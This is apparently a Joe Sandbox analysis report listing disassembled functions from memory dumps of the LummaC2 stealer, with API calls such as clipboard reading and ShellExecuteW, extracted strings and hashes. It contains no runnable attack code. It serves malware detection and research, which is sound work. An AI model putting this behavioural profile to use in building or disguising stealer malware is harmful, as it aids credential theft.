Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 004641F0 Relevance: .2, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 15c10b10bbe0eddaa1252bb332576ef8894ce2d81b1069ddfe476eb735a87623
Instruction ID: e21e35218e2a892ae3a805067fa15861540634aa8eab05eec64bca358ef62932
Opcode Fuzzy Hash: 15c10b10bbe0eddaa1252bb332576ef8894ce2d81b1069ddfe476eb735a87623
Instruction Fuzzy Hash: FD419B35305300AFDB144B699CD1B3B77A6AFD9704F28402EFA855B3A0E675AC80C78B

Function 004613D5 Relevance: .1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd393d5f4e0f7b815435c680551b345907f56cb313152abdabd8392e523c9aaf
Instruction ID: a89528ae370a62c8558f8ec836bf5ff07a2cf29b0a3e10d802ad498ddcde25c1
Opcode Fuzzy Hash: fd393d5f4e0f7b815435c680551b345907f56cb313152abdabd8392e523c9aaf
Instruction Fuzzy Hash: C12108346083108FC3149F1884D097773A1EB9A728F191A2ED592973B1E7386C46DB5B

Function 0046137E Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bb74e39135470c1fef70ecc234c51c0465eeed0e5824c1281825e3fd71c2f5
Instruction ID: 21a3884cd689744848b6ef4f907e6a8802e36ffe850e7aad71edd2c2ef95e34c
Opcode Fuzzy Hash: 38bb74e39135470c1fef70ecc234c51c0465eeed0e5824c1281825e3fd71c2f5
Instruction Fuzzy Hash: FF01D2346142009BD758DF25D8D183773A2EB9A768F28193ED297C72B1E734A842CB1F

Function 0042D0B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0042D165
ShellExecuteW.SHELL32(00000000,81368735,00468050,?,00000000,00000005), ref: 0042D249
GetForegroundWindow.USER32(?,00000000,00000005), ref: 0042D24F
GetCurrentProcessId.KERNEL32(?,00000000,00000005), ref: 0042D259
ExitProcess.KERNEL32 ref: 0042D279

Strings

ps, xrefs: 0042D1C4

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: CurrentProcess$ExecuteExitForegroundShellThreadWindow
String ID: ps
API String ID: 1013327911-2817149839
Opcode ID: 0f6d5b7c191e15155c18673995831b6dd99482eee89cfe2cb168a866611d7af8
Instruction ID: 67068ff4df83fad6fd0fe03a8ca4ca2036a2c3c5fe8106d99eaf80ae4efa20bd
Opcode Fuzzy Hash: 0f6d5b7c191e15155c18673995831b6dd99482eee89cfe2cb168a866611d7af8
Instruction Fuzzy Hash: DD4115317083508BE7049B75A81636FBBD69FC6314F158D6EE4C1DB282DE78C8068B5B

Function 00460F20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00460F76

Strings

2123, xrefs: 00460F62

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: ForegroundWindow
String ID: 2123
API String ID: 2020703349-208623094
Opcode ID: f84c42f2fdec7ae10e5b7739770f664dde320bbb9a2fecad1165da519a9c211c
Instruction ID: 215a4512954911efb7f9d11978c086821d80827e703cfa25c633aa24f9b55ecf
Opcode Fuzzy Hash: f84c42f2fdec7ae10e5b7739770f664dde320bbb9a2fecad1165da519a9c211c
Instruction Fuzzy Hash: 47F028395082408BE714DB29E84526777E1E781358F04892EE4D2C3391EB78C9418B0B

Function 00460F68 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00460F76

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 86a9ae0b06734c8147208edb1223312760f3660fe44bdb1398363d2d43f55f9c
Instruction ID: 61aeda9faf007f32dd5043aac4df7c8cbffa06c0baa51577fde368057ff9ea0d
Opcode Fuzzy Hash: 86a9ae0b06734c8147208edb1223312760f3660fe44bdb1398363d2d43f55f9c
Instruction Fuzzy Hash: 53E08C7D6102008FDA04DF25EC9546537A4F70A209704083EE583C3362EF35A680CB0A

Function 0045DC18 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0045DC24

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ff02d8ee5169b8bde5709fd9fb6b19c89043b8fc0d2f8982a2ca1e9d653151b7
Instruction ID: 609ab78c95a92a62a894d97656ae3c27f64d5600bb5e78172a6070b2381bfe0f
Opcode Fuzzy Hash: ff02d8ee5169b8bde5709fd9fb6b19c89043b8fc0d2f8982a2ca1e9d653151b7
Instruction Fuzzy Hash: 6AB01234146110BCD03117220CD5FFF6CBCAF43F59F102014F204240C01B94A001D07E

Function 00460CA0 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNELBASE(0042D277), ref: 00460CAB

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: eefefc8b82020566ffaf2f3a3f0856c18e0fecbc21b7763d1d8d425820a0095a
Instruction ID: cf6fe6bdb8d0df2706e6c6276c1e8b8107a406960577dcc08d611a2042fe80a8
Opcode Fuzzy Hash: eefefc8b82020566ffaf2f3a3f0856c18e0fecbc21b7763d1d8d425820a0095a
Instruction Fuzzy Hash: 11A002B8501101DBCE516B33FF1E58D3B26B79038570401F7F14994072BAB66454DE0E

Non-executed Functions

Function 00430130 Relevance: 40.4, APIs: 4, Strings: 18, Instructions: 1884COMMON

Download Yara Rule

Strings

d5h;, xrefs: 0043030F
f[zU, xrefs: 004315EA
;:54, xrefs: 00431805
J!G', xrefs: 00430330
#Tw, xrefs: 00430E4F
_], xrefs: 00430AD2
xr, xrefs: 00431273
V[, xrefs: 00430AE7
Noni, xrefs: 004315FF
K=C#, xrefs: 00430325
T1S7, xrefs: 004312D5
{-S, xrefs: 00430351
{){/, xrefs: 00430346
;:54, xrefs: 0043175C
=i<o, xrefs: 0043015A
`1d7, xrefs: 00430304
F], xrefs: 00430AE0
U`3, xrefs: 004302F9

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: #Tw$;:54$;:54$=i<o$F]$J!G'$K=C#$Noni$T1S7$U`3$V[$_]$`1d7$d5h;$f[zU$xr${){/${-S
API String ID: 0-2033873944
Opcode ID: b56a4d9c92130837d0a4b3b6cc8b7eb76591868cd328821ceb73a0ec2a9c72ee
Instruction ID: dd7021eee07d703dd986fe7834126cb9c0bac2ae9a7d80d9ecb61b13eab75efa
Opcode Fuzzy Hash: b56a4d9c92130837d0a4b3b6cc8b7eb76591868cd328821ceb73a0ec2a9c72ee
Instruction Fuzzy Hash: 31D234B16047408FD3248F25D89172BBBE1FF86304F18866DD4D68B3A2D779E806CB96

Function 00455210 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 120clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00455220
GetWindowLongW.USER32 ref: 0045524D
GetClipboardData.USER32 ref: 0045525D
CloseClipboard.USER32 ref: 0045539E

Strings

K, xrefs: 004552EE
Y, xrefs: 004552E9
q, xrefs: 004552CB
Y, xrefs: 004552DA
V, xrefs: 004552E4
], xrefs: 004552D5
V, xrefs: 004552DF
_, xrefs: 004552D0
X, xrefs: 004552F3
N, xrefs: 004552FD
L, xrefs: 00455307
I, xrefs: 00455302

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID: I$K$L$N$V$V$X$Y$Y$]$_$q
API String ID: 1647500905-2073889574
Opcode ID: c98488e776878053eaea2ae14766c312dc844f5c8f51d07f84765d439e09dc52
Instruction ID: 897ad3d69516675c1851e50702ab1c51ec09bdcb6673daeb93bc675c9e9344e2
Opcode Fuzzy Hash: c98488e776878053eaea2ae14766c312dc844f5c8f51d07f84765d439e09dc52
Instruction Fuzzy Hash: 7E418F7150C7818FE300AF78D55836FBFE0AB52349F05496EE8C986283D6BD854C876B

Function 00430118 Relevance: 26.3, APIs: 4, Strings: 10, Instructions: 1780COMMON

Download Yara Rule

Strings

_], xrefs: 00430AD2
xr, xrefs: 00431273
V[, xrefs: 00430AE7
Noni, xrefs: 004315FF
T1S7, xrefs: 004312D5
f[zU, xrefs: 004315EA
;:54, xrefs: 0043175C
;:54, xrefs: 00431805
F], xrefs: 00430AE0
#Tw, xrefs: 00430E4F

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: #Tw$;:54$;:54$F]$Noni$T1S7$V[$_]$f[zU$xr
API String ID: 0-3009026325
Opcode ID: 54cedc10dc5ff02af433403e4dadaae62ce4ff3cf352148b3407bfd88d5f8709
Instruction ID: 45b44ebc2fdb268c91c4f73f11f451000ebbd4858550e37698d245695958a595
Opcode Fuzzy Hash: 54cedc10dc5ff02af433403e4dadaae62ce4ff3cf352148b3407bfd88d5f8709
Instruction Fuzzy Hash: B2C256B16047408FD3248F25D891727BBE1FF9A304F18866DD4C68B7A2D779E806CB96

Function 0043F510 Relevance: 24.0, Strings: 18, Instructions: 1543COMMON

Download Yara Rule

Strings

1X74, xrefs: 0043F7E8
;:54, xrefs: 0043FFAB
sDK}, xrefs: 0043F81F
`abc, xrefs: 0043F9A1
45, xrefs: 0043FC18
123X, xrefs: 0043F7FE
Xqrs, xrefs: 0043F975
5670, xrefs: 0043F7F3
PQRS, xrefs: 0043F9CD
)*+$, xrefs: 0043F814
!by*, xrefs: 0043F809
vv@, xrefs: 0043FA77, 0043FA88
=n=c, xrefs: 0043F7DD
$, xrefs: 0043F622
\]^_, xrefs: 0043F9EE
, xrefs: 0044003E
H, xrefs: 0043FA0F
eyv, xrefs: 0044096D

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: $!by*$$$)*+$$123X$1X74$45$5670$;:54$=n=c$H$PQRS$Xqrs$\]^_$`abc$eyv$sDK}$vv@
API String ID: 0-744883782
Opcode ID: c658692bdd97cb35a345821fa73654efaecedd88ce99ffbe96319389fd5273b4
Instruction ID: 35c8fdfb44e5ed7a3788b34c3b4a0e45c9cbbe6c28154ebb8ece41dccc7add87
Opcode Fuzzy Hash: c658692bdd97cb35a345821fa73654efaecedd88ce99ffbe96319389fd5273b4
Instruction Fuzzy Hash: 52B2C2715083818BE735CF25C8907ABBBE1AFD6304F18896EE5C98B392D7788509CB57

Function 0044EB60 Relevance: 23.8, APIs: 2, Strings: 10, Instructions: 2801COMMON

Download Yara Rule

Strings

34t, xrefs: 00450C57
"JZ, xrefs: 004500DD
ODIF, xrefs: 0044ECDA
fjnr, xrefs: 0044F3C8
*JZ, xrefs: 00450113
kk, xrefs: 004509D6
Y?^i, xrefs: 0044EC80
vNHF, xrefs: 0044F2F2
syrh, xrefs: 00450234
'Rx/, xrefs: 0044F5FB

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: "JZ$'Rx/$*JZ$34t$ODIF$Y?^i$fjnr$kk$syrh$vNHF
API String ID: 0-2617420629
Opcode ID: 05b4925a1b454497058141363014fbfcd08ee74ab229dbefa6a3cdd7010bc0d5
Instruction ID: 2b885bcecef6b01895d816d3b022019a234a25617173691b993770b16b3e3219
Opcode Fuzzy Hash: 05b4925a1b454497058141363014fbfcd08ee74ab229dbefa6a3cdd7010bc0d5
Instruction Fuzzy Hash: 5013F674604B808BE7358F35C4907A3BBE1AF57305F1889AEC5EB4B386D779A40ACB15

Function 0045A97E Relevance: 19.8, APIs: 9, Strings: 2, Instructions: 587memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0045A9E1
SysAllocString.OLEAUT32 ref: 0045AA7E

Strings

;:54, xrefs: 0045AF35
;:54, xrefs: 0045AFFE

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: AllocString
String ID: ;:54$;:54
API String ID: 2525500382-2193779323
Opcode ID: 4fecf5ed153fad88d12458c9d17ad636b6f4bc05b8b49d652c4059ec8a0a6a5d
Instruction ID: e0d5245f48a8ac9e0d8116c4517d4bdcd6f1dc4aaf2c3371f7fcef65ff5515ff
Opcode Fuzzy Hash: 4fecf5ed153fad88d12458c9d17ad636b6f4bc05b8b49d652c4059ec8a0a6a5d
Instruction Fuzzy Hash: DA126376A00701DFD728CF25D890B2AB7B2FF89301F14852DE5468B7A1E779E816CB85

Function 004212D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

0000, xrefs: 004227C8
i, xrefs: 00422A7E
0000, xrefs: 004227AC
0000, xrefs: 0042280E
0000, xrefs: 004227A5
0000, xrefs: 004227BA
0000, xrefs: 004227C1
0, xrefs: 004221FF
@, xrefs: 004229AF
0000, xrefs: 004227B3
0, xrefs: 00422449
0, xrefs: 00422151

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: 62fed8a590418cc14da1069e5547793f814687a2ffa918469daa35e93605d451
Instruction ID: 557aaa679af36b6a87001a3f1a778c3a36c3f90e605da9fc2be8b7f2cc780dbf
Opcode Fuzzy Hash: 62fed8a590418cc14da1069e5547793f814687a2ffa918469daa35e93605d451
Instruction Fuzzy Hash: 3E82E57170D3619FC318CF28D69032ABBE1AB85304F58895EE8D697391D3B8DD45CB8A

Function 0044AA40 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 523COMMON

Download Yara Rule

Strings

;:54, xrefs: 0044B75C
3L,S, xrefs: 0044B67E
t|, xrefs: 0044B4CF
gw, xrefs: 0044B4BF
D4'2, xrefs: 0044B66E

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
String ID: 3L,S$;:54$D4'2$gw$t|
API String ID: 0-148604455
Opcode ID: be2188b0b9be44b930b5c74bce3bf281d47cf01bd3c665621527e63fecdacfe9
Instruction ID: 530ea86670ea11fdb224c00c3a9e1e140bc274421278e767899002ead47a9d41
Opcode Fuzzy Hash: be2188b0b9be44b930b5c74bce3bf281d47cf01bd3c665621527e63fecdacfe9
Instruction Fuzzy Hash: 07F124B55083408FE7249F25D88566BBBE1FFC5319F048A2DE5C98B391E778C905CB86

Function 0043ECDE Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 521COMMON

Download Yara Rule

Strings

;:54, xrefs: 0043EF8C
;:54, xrefs: 0043F169
;:54, xrefs: 0043ED36
;:54, xrefs: 0043F209
;:54, xrefs: 0043F0B7

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$;:54$;:54$;:54
API String ID: 2994545307-1306776023
Opcode ID: b08840f8277914cf88d0de8adc9ccf40876ce96b51bb53dd54d98c5e5ff9665a
Instruction ID: b5fcfd0ab81cac545e313bf0479f2b80250d4eb7e1c0527d96049c1453bde4b9
Opcode Fuzzy Hash: b08840f8277914cf88d0de8adc9ccf40876ce96b51bb53dd54d98c5e5ff9665a
Instruction Fuzzy Hash: 40F14B32A49340DBD738CB14D88176BB7A6EB8A304F18993ED6C697351D379DC418B8B

Function 0042D500 Relevance: 10.2, Strings: 8, Instructions: 218COMMON

Download Yara Rule

Strings

x|.", xrefs: 0042D5DA
9&!:, xrefs: 0042D5EA
*#1/, xrefs: 0042D602
sp$., xrefs: 0042D69D
)vBW, xrefs: 0042D572
x, xrefs: 0042D64A
&%9b, xrefs: 0042D5F2
s$>%, xrefs: 0042D5E2

Memory Dump Source

Source File: 00000004.00000002.2387695581.0000000000421000.00000020.00000001.01000000.00000009.sdmp, Offset: 00420000, based on PE: true

Associated: 00000004.00000002.2387678767.0000000000420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387726556.0000000000466000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387743493.0000000000469000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387762631.000000000046F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2387795053.0000000000479000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_420000_LummaC2.jbxd

Similarity

API ID:
